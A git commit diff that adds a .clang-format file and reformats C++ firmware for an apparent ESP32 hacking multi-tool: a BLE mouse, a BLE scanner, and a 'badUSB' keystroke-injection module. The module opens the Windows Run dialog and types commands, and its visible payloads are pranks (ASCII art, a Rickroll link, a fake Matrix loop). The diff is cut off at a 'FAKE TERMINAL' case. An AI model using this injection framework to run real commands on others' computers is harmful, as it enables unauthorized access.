add .clang-format, and apply formatting
This commit is contained in:
parent
206ed22919
commit
58c9c8f51d
|
|
@ -0,0 +1,4 @@
|
||||||
|
BasedOnStyle: LLVM
|
||||||
|
IndentWidth: 4
|
||||||
|
TabWidth: 4
|
||||||
|
UseTab: Never
|
||||||
|
|
@ -12,62 +12,62 @@ extern BleMouse bleMouse;
|
||||||
|
|
||||||
// ===== MAIN =====
|
// ===== MAIN =====
|
||||||
void ble_mouse_run() {
|
void ble_mouse_run() {
|
||||||
u8g2.clearBuffer();
|
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
|
||||||
u8g2.drawStr(10, 25, "BLE Mouse");
|
|
||||||
u8g2.drawStr(10, 45, "Connecting...");
|
|
||||||
u8g2.sendBuffer();
|
|
||||||
|
|
||||||
delay(800);
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
// 🔥 EXIT FIRST (clean)
|
|
||||||
if (btnBack())
|
|
||||||
break;
|
|
||||||
|
|
||||||
bool connected = bleMouse.isConnected();
|
|
||||||
|
|
||||||
int dx = 0;
|
|
||||||
int dy = 0;
|
|
||||||
|
|
||||||
if (connected) {
|
|
||||||
if (!digitalRead(BTN_UP))
|
|
||||||
dy = -6;
|
|
||||||
if (!digitalRead(BTN_DOWN))
|
|
||||||
dy = 6;
|
|
||||||
if (!digitalRead(BTN_LEFT))
|
|
||||||
dx = -6;
|
|
||||||
if (!digitalRead(BTN_RIGHT))
|
|
||||||
dx = 6;
|
|
||||||
|
|
||||||
if (dx || dy)
|
|
||||||
bleMouse.move(dx, dy);
|
|
||||||
|
|
||||||
// ✅ single click (not spam)
|
|
||||||
static bool lastSelect = false;
|
|
||||||
bool currentSelect = !digitalRead(BTN_SELECT);
|
|
||||||
|
|
||||||
if (currentSelect && !lastSelect)
|
|
||||||
bleMouse.click(MOUSE_LEFT);
|
|
||||||
|
|
||||||
lastSelect = currentSelect;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ===== UI =====
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
u8g2.drawStr(10, 25, "BLE Mouse");
|
||||||
u8g2.drawStr(10, 20, "BLE Mouse");
|
u8g2.drawStr(10, 45, "Connecting...");
|
||||||
|
|
||||||
if (connected)
|
|
||||||
u8g2.drawStr(10, 35, "Connected");
|
|
||||||
else
|
|
||||||
u8g2.drawStr(10, 35, "Waiting");
|
|
||||||
|
|
||||||
u8g2.drawStr(10, 55, "BACK = Exit");
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
delay(10); // important for BLE stability
|
delay(800);
|
||||||
}
|
|
||||||
|
while (1) {
|
||||||
|
// 🔥 EXIT FIRST (clean)
|
||||||
|
if (btnBack())
|
||||||
|
break;
|
||||||
|
|
||||||
|
bool connected = bleMouse.isConnected();
|
||||||
|
|
||||||
|
int dx = 0;
|
||||||
|
int dy = 0;
|
||||||
|
|
||||||
|
if (connected) {
|
||||||
|
if (!digitalRead(BTN_UP))
|
||||||
|
dy = -6;
|
||||||
|
if (!digitalRead(BTN_DOWN))
|
||||||
|
dy = 6;
|
||||||
|
if (!digitalRead(BTN_LEFT))
|
||||||
|
dx = -6;
|
||||||
|
if (!digitalRead(BTN_RIGHT))
|
||||||
|
dx = 6;
|
||||||
|
|
||||||
|
if (dx || dy)
|
||||||
|
bleMouse.move(dx, dy);
|
||||||
|
|
||||||
|
// ✅ single click (not spam)
|
||||||
|
static bool lastSelect = false;
|
||||||
|
bool currentSelect = !digitalRead(BTN_SELECT);
|
||||||
|
|
||||||
|
if (currentSelect && !lastSelect)
|
||||||
|
bleMouse.click(MOUSE_LEFT);
|
||||||
|
|
||||||
|
lastSelect = currentSelect;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ===== UI =====
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
|
u8g2.drawStr(10, 20, "BLE Mouse");
|
||||||
|
|
||||||
|
if (connected)
|
||||||
|
u8g2.drawStr(10, 35, "Connected");
|
||||||
|
else
|
||||||
|
u8g2.drawStr(10, 35, "Waiting");
|
||||||
|
|
||||||
|
u8g2.drawStr(10, 55, "BACK = Exit");
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
delay(10); // important for BLE stability
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -10,11 +10,11 @@
|
||||||
|
|
||||||
// ===== DEVICE STRUCT =====
|
// ===== DEVICE STRUCT =====
|
||||||
struct BLEDeviceInfo {
|
struct BLEDeviceInfo {
|
||||||
String name;
|
String name;
|
||||||
String address;
|
String address;
|
||||||
int rssi;
|
int rssi;
|
||||||
String manufacturer;
|
String manufacturer;
|
||||||
String deviceType;
|
String deviceType;
|
||||||
};
|
};
|
||||||
|
|
||||||
static std::vector<BLEDeviceInfo> devices;
|
static std::vector<BLEDeviceInfo> devices;
|
||||||
|
|
@ -23,168 +23,170 @@ static int selectedIndex = 0;
|
||||||
|
|
||||||
// ===== CALLBACK =====
|
// ===== CALLBACK =====
|
||||||
class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
||||||
void onResult(BLEAdvertisedDevice advertisedDevice) override {
|
void onResult(BLEAdvertisedDevice advertisedDevice) override {
|
||||||
BLEDeviceInfo dev;
|
BLEDeviceInfo dev;
|
||||||
|
|
||||||
String tempName = advertisedDevice.getName().c_str();
|
String tempName = advertisedDevice.getName().c_str();
|
||||||
|
|
||||||
if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
|
if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
|
||||||
tempName = advertisedDevice.getServiceData().c_str();
|
tempName = advertisedDevice.getServiceData().c_str();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tempName.length() == 0) {
|
||||||
|
String addr = advertisedDevice.getAddress().toString().c_str();
|
||||||
|
tempName = "BLE_" + addr.substring(addr.length() - 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
dev.name = tempName;
|
||||||
|
dev.address = advertisedDevice.getAddress().toString().c_str();
|
||||||
|
dev.rssi = advertisedDevice.getRSSI();
|
||||||
|
|
||||||
|
if (advertisedDevice.haveManufacturerData()) {
|
||||||
|
String mData = advertisedDevice.getManufacturerData().c_str();
|
||||||
|
|
||||||
|
if (mData.length() >= 2) {
|
||||||
|
char buffer[10];
|
||||||
|
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1],
|
||||||
|
(uint8_t)mData[0]);
|
||||||
|
dev.manufacturer = String(buffer);
|
||||||
|
} else {
|
||||||
|
dev.manufacturer = "unknown";
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
dev.manufacturer = "unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (advertisedDevice.haveServiceUUID()) {
|
||||||
|
dev.deviceType =
|
||||||
|
advertisedDevice.getServiceUUID().toString().c_str();
|
||||||
|
} else {
|
||||||
|
dev.deviceType = "unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
devices.push_back(dev);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (tempName.length() == 0) {
|
|
||||||
String addr = advertisedDevice.getAddress().toString().c_str();
|
|
||||||
tempName = "BLE_" + addr.substring(addr.length() - 5);
|
|
||||||
}
|
|
||||||
|
|
||||||
dev.name = tempName;
|
|
||||||
dev.address = advertisedDevice.getAddress().toString().c_str();
|
|
||||||
dev.rssi = advertisedDevice.getRSSI();
|
|
||||||
|
|
||||||
if (advertisedDevice.haveManufacturerData()) {
|
|
||||||
String mData = advertisedDevice.getManufacturerData().c_str();
|
|
||||||
|
|
||||||
if (mData.length() >= 2) {
|
|
||||||
char buffer[10];
|
|
||||||
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
|
|
||||||
dev.manufacturer = String(buffer);
|
|
||||||
} else {
|
|
||||||
dev.manufacturer = "unknown";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
dev.manufacturer = "unknown";
|
|
||||||
}
|
|
||||||
|
|
||||||
if (advertisedDevice.haveServiceUUID()) {
|
|
||||||
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
|
|
||||||
} else {
|
|
||||||
dev.deviceType = "unknown";
|
|
||||||
}
|
|
||||||
|
|
||||||
devices.push_back(dev);
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
// ===== DRAW MENU =====
|
// ===== DRAW MENU =====
|
||||||
void ble_drawMenu() {
|
void ble_drawMenu() {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
|
|
||||||
if (devices.empty()) {
|
if (devices.empty()) {
|
||||||
u8g2.setFont(u8g2_font_6x12_tr);
|
u8g2.setFont(u8g2_font_6x12_tr);
|
||||||
u8g2.drawStr(0, 30, "No devices");
|
u8g2.drawStr(0, 30, "No devices");
|
||||||
u8g2.drawStr(0, 45, "Press BACK");
|
u8g2.drawStr(0, 45, "Press BACK");
|
||||||
} else {
|
} else {
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
|
|
||||||
char counter[20];
|
char counter[20];
|
||||||
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
|
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
|
||||||
u8g2.drawStr(0, 8, counter);
|
u8g2.drawStr(0, 8, counter);
|
||||||
|
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
for (int i = 0; i < 3; i++) {
|
for (int i = 0; i < 3; i++) {
|
||||||
int idx = selectedIndex + i;
|
int idx = selectedIndex + i;
|
||||||
if (idx >= devices.size())
|
if (idx >= devices.size())
|
||||||
break;
|
break;
|
||||||
|
|
||||||
int y = 22 + i * 14;
|
int y = 22 + i * 14;
|
||||||
|
|
||||||
if (i == 0) {
|
if (i == 0) {
|
||||||
u8g2.drawBox(0, y - 10, 128, 12);
|
u8g2.drawBox(0, y - 10, 128, 12);
|
||||||
u8g2.setDrawColor(0);
|
u8g2.setDrawColor(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
String text = devices[idx].name;
|
String text = devices[idx].name;
|
||||||
if (text.length() > 12)
|
if (text.length() > 12)
|
||||||
text = text.substring(0, 12) + "..";
|
text = text.substring(0, 12) + "..";
|
||||||
|
|
||||||
text += " (" + String(devices[idx].rssi) + ")";
|
text += " (" + String(devices[idx].rssi) + ")";
|
||||||
|
|
||||||
u8g2.drawStr(2, y, text.c_str());
|
u8g2.drawStr(2, y, text.c_str());
|
||||||
|
|
||||||
if (i == 0)
|
if (i == 0)
|
||||||
u8g2.setDrawColor(1);
|
u8g2.setDrawColor(1);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== DEVICE DETAILS =====
|
// ===== DEVICE DETAILS =====
|
||||||
void ble_drawDetails(const BLEDeviceInfo &dev) {
|
void ble_drawDetails(const BLEDeviceInfo &dev) {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
|
|
||||||
u8g2.drawStr(0, 10, dev.name.c_str());
|
u8g2.drawStr(0, 10, dev.name.c_str());
|
||||||
u8g2.drawStr(0, 20, dev.address.c_str());
|
u8g2.drawStr(0, 20, dev.address.c_str());
|
||||||
|
|
||||||
char rssiStr[20];
|
char rssiStr[20];
|
||||||
sprintf(rssiStr, "RSSI: %d", dev.rssi);
|
sprintf(rssiStr, "RSSI: %d", dev.rssi);
|
||||||
u8g2.drawStr(0, 30, rssiStr);
|
u8g2.drawStr(0, 30, rssiStr);
|
||||||
|
|
||||||
u8g2.drawStr(0, 40, dev.manufacturer.c_str());
|
u8g2.drawStr(0, 40, dev.manufacturer.c_str());
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== SCAN =====
|
// ===== SCAN =====
|
||||||
void ble_scan() {
|
void ble_scan() {
|
||||||
devices.clear();
|
devices.clear();
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.drawStr(10, 30, "Scanning...");
|
u8g2.drawStr(10, 30, "Scanning...");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
BLEDevice::init("");
|
BLEDevice::init("");
|
||||||
|
|
||||||
pBLEScan = BLEDevice::getScan();
|
pBLEScan = BLEDevice::getScan();
|
||||||
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
|
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
|
||||||
false);
|
false);
|
||||||
pBLEScan->setActiveScan(true);
|
pBLEScan->setActiveScan(true);
|
||||||
pBLEScan->setInterval(100);
|
pBLEScan->setInterval(100);
|
||||||
pBLEScan->setWindow(99);
|
pBLEScan->setWindow(99);
|
||||||
|
|
||||||
pBLEScan->start(5, false);
|
pBLEScan->start(5, false);
|
||||||
|
|
||||||
// remove duplicates
|
// remove duplicates
|
||||||
std::vector<BLEDeviceInfo> unique;
|
std::vector<BLEDeviceInfo> unique;
|
||||||
for (auto &d : devices) {
|
for (auto &d : devices) {
|
||||||
bool exists = false;
|
bool exists = false;
|
||||||
for (auto &u : unique) {
|
for (auto &u : unique) {
|
||||||
if (u.address == d.address) {
|
if (u.address == d.address) {
|
||||||
exists = true;
|
exists = true;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
if (!exists)
|
||||||
|
unique.push_back(d);
|
||||||
}
|
}
|
||||||
if (!exists)
|
|
||||||
unique.push_back(d);
|
|
||||||
}
|
|
||||||
|
|
||||||
devices = unique;
|
devices = unique;
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== MAIN LOOP =====
|
// ===== MAIN LOOP =====
|
||||||
void ble_loop() {
|
void ble_loop() {
|
||||||
static uint32_t lastPress = 0;
|
static uint32_t lastPress = 0;
|
||||||
|
|
||||||
if (millis() - lastPress < 200)
|
if (millis() - lastPress < 200)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if (btnDown() && selectedIndex < (int)devices.size() - 1) {
|
if (btnDown() && selectedIndex < (int)devices.size() - 1) {
|
||||||
selectedIndex++;
|
selectedIndex++;
|
||||||
ble_drawMenu();
|
ble_drawMenu();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
} else if (btnUp() && selectedIndex > 0) {
|
} else if (btnUp() && selectedIndex > 0) {
|
||||||
selectedIndex--;
|
selectedIndex--;
|
||||||
ble_drawMenu();
|
ble_drawMenu();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
} else if (btnSelect() && !devices.empty()) {
|
} else if (btnSelect() && !devices.empty()) {
|
||||||
ble_drawDetails(devices[selectedIndex]);
|
ble_drawDetails(devices[selectedIndex]);
|
||||||
delay(3000);
|
delay(3000);
|
||||||
ble_drawMenu();
|
ble_drawMenu();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
} else if (btnBack()) {
|
} else if (btnBack()) {
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -27,11 +27,10 @@
|
||||||
#define CC1101_GDO2 42
|
#define CC1101_GDO2 42
|
||||||
|
|
||||||
// SD Card via HSPI
|
// SD Card via HSPI
|
||||||
//#define SD_SCK 14
|
// #define SD_SCK 14
|
||||||
//#define SD_MISO 39
|
// #define SD_MISO 39
|
||||||
//#define SD_MOSI 38
|
// #define SD_MOSI 38
|
||||||
//#define SD_CS 37
|
// #define SD_CS 37
|
||||||
|
|
||||||
|
|
||||||
// =================== Buttons ====================
|
// =================== Buttons ====================
|
||||||
#define BTN_UP 4
|
#define BTN_UP 4
|
||||||
|
|
|
||||||
|
|
@ -5,417 +5,442 @@
|
||||||
extern USBHIDKeyboard Keyboard;
|
extern USBHIDKeyboard Keyboard;
|
||||||
|
|
||||||
void runCommand(const char *command) {
|
void runCommand(const char *command) {
|
||||||
Keyboard.press(KEY_LEFT_GUI);
|
Keyboard.press(KEY_LEFT_GUI);
|
||||||
Keyboard.press('r');
|
Keyboard.press('r');
|
||||||
delay(100);
|
delay(100);
|
||||||
Keyboard.releaseAll();
|
Keyboard.releaseAll();
|
||||||
delay(300);
|
delay(300);
|
||||||
Keyboard.print(command);
|
Keyboard.print(command);
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
}
|
}
|
||||||
|
|
||||||
void showRunningScreen(String taskName, uint8_t duration = 5) {
|
void showRunningScreen(String taskName, uint8_t duration = 5) {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x12_tf);
|
u8g2.setFont(u8g2_font_6x12_tf);
|
||||||
u8g2.drawStr(0, 15, "Running:");
|
u8g2.drawStr(0, 15, "Running:");
|
||||||
u8g2.drawStr(0, 30, taskName.c_str());
|
u8g2.drawStr(0, 30, taskName.c_str());
|
||||||
u8g2.drawFrame(0, 45, 128, 10);
|
u8g2.drawFrame(0, 45, 128, 10);
|
||||||
|
|
||||||
static const unsigned char image_download_bits[] U8X8_PROGMEM = {
|
static const unsigned char image_download_bits[] U8X8_PROGMEM = {
|
||||||
0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
|
||||||
0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
|
0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
|
||||||
0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
|
0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
|
||||||
0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
|
0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
|
||||||
0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
|
0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
|
||||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
|
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
|
||||||
0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
|
0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
|
||||||
0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
|
0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
|
0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
|
||||||
0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
|
0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
|
||||||
0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
|
0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
|
||||||
static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
|
static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
|
||||||
0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
|
0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
|
||||||
0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
|
0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
|
||||||
0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
|
0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
|
||||||
0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
|
0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
|
||||||
0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
|
0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
|
||||||
0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
|
0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
|
||||||
|
|
||||||
u8g2.setFontMode(1);
|
u8g2.setFontMode(1);
|
||||||
u8g2.setBitmapMode(1);
|
u8g2.setBitmapMode(1);
|
||||||
// download
|
// download
|
||||||
u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
|
u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
|
||||||
|
|
||||||
// EviSmile1
|
// EviSmile1
|
||||||
u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
|
u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
|
||||||
|
|
||||||
for (uint8_t i = 0; i <= duration; i++) {
|
for (uint8_t i = 0; i <= duration; i++) {
|
||||||
u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
|
u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
delay(50);
|
delay(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void typeSlow(const char *text, int delayMs = 25) {
|
void typeSlow(const char *text, int delayMs = 25) {
|
||||||
while (*text) {
|
while (*text) {
|
||||||
Keyboard.print(*text);
|
Keyboard.print(*text);
|
||||||
delay(delayMs);
|
delay(delayMs);
|
||||||
text++;
|
text++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void badUSBMenu(int index) {
|
void badUSBMenu(int index) {
|
||||||
// switch (index)
|
// switch (index)
|
||||||
// {
|
// {
|
||||||
// case 0:
|
// case 0:
|
||||||
// runBadUSBDemo();
|
// runBadUSBDemo();
|
||||||
// break;
|
// break;
|
||||||
|
|
||||||
// case 1:
|
// case 1:
|
||||||
// Serial.println("Open CMD payload");
|
// Serial.println("Open CMD payload");
|
||||||
// runBadUSBOpenCMD();
|
// runBadUSBOpenCMD();
|
||||||
// break;
|
// break;
|
||||||
|
|
||||||
// case 2:
|
// case 2:
|
||||||
// Serial.println("Rickroll payload");
|
// Serial.println("Rickroll payload");
|
||||||
// runBadUSBRickroll();
|
// runBadUSBRickroll();
|
||||||
// break;
|
// break;
|
||||||
// }
|
// }
|
||||||
|
|
||||||
switch (index) {
|
switch (index) {
|
||||||
// ================= ORION DEMO =================
|
// ================= ORION DEMO =================
|
||||||
case 0:
|
case 0:
|
||||||
showRunningScreen("ORION Demo");
|
showRunningScreen("ORION Demo");
|
||||||
|
|
||||||
runCommand("notepad");
|
runCommand("notepad");
|
||||||
|
|
||||||
delay(2500);
|
delay(2500);
|
||||||
|
|
||||||
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
|
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
|
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
|
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
|
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
|
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
|
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("[+] WIFI MODULE READY");
|
typeSlow("[+] WIFI MODULE READY");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("[+] BLE MODULE READY");
|
typeSlow("[+] BLE MODULE READY");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("[+] SUBGHZ MODULE READY");
|
typeSlow("[+] SUBGHZ MODULE READY");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("[+] NFC MODULE READY");
|
typeSlow("[+] NFC MODULE READY");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("[+] HID ENGINE READY");
|
typeSlow("[+] HID ENGINE READY");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= RICKROLL =================
|
// ================= RICKROLL =================
|
||||||
case 1:
|
case 1:
|
||||||
showRunningScreen("RickRoll");
|
showRunningScreen("RickRoll");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
|
|
||||||
delay(700);
|
delay(700);
|
||||||
|
|
||||||
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
|
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= MATRIX =================
|
// ================= MATRIX =================
|
||||||
case 2:
|
case 2:
|
||||||
showRunningScreen("Matrix");
|
showRunningScreen("Matrix");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
|
|
||||||
delay(700);
|
delay(700);
|
||||||
|
|
||||||
typeSlow("color 0A");
|
typeSlow("color 0A");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("mode con: cols=120 lines=40");
|
typeSlow("mode con: cols=120 lines=40");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow(":A");
|
typeSlow(":A");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("echo %random%%random%%random%%random%%random%");
|
typeSlow("echo %random%%random%%random%%random%%random%");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("goto A");
|
typeSlow("goto A");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= FAKE TERMINAL =================
|
// ================= FAKE TERMINAL =================
|
||||||
case 3:
|
case 3:
|
||||||
